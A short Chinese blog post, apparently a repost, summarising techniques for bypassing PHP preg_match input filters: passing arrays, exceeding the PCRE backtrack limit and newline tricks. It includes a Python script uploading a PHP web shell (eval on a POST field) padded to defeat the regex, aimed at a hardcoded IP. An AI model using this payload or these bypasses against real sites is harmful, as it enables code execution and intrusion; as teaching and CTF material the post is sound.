preg_match绕过总结

preg_match绕过总结

什么是preg_match

绕过方法

1、数组绕过

preg_match只能处理字符串,当传入的subject是数组时会返回false

2、PCRE回溯次数限制

PHP利用PCRE回溯次数限制绕过某些安全限制

import requests
from io import BytesIO

files = {
  'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}

res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)

pcre.backtrack_limit给pcre设定了一个回溯次数上限,默认为1000000,如果回溯次数超过这个数字,preg_match会返回false

3、换行符

.不会匹配换行符,如

if (preg_match('/^.*(flag).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
}

只需要

$json="
flag"

而在非多行模式下,$似乎会忽略在句尾的%0a

if (preg_match('/^flag$/', $_GET['a']) && $_GET['a'] !== 'flag') {
    echo $flag;
}

只需要传入

?a=flag%0a
原文地址:https://www.cnblogs.com/20175211lyz/p/12198258.html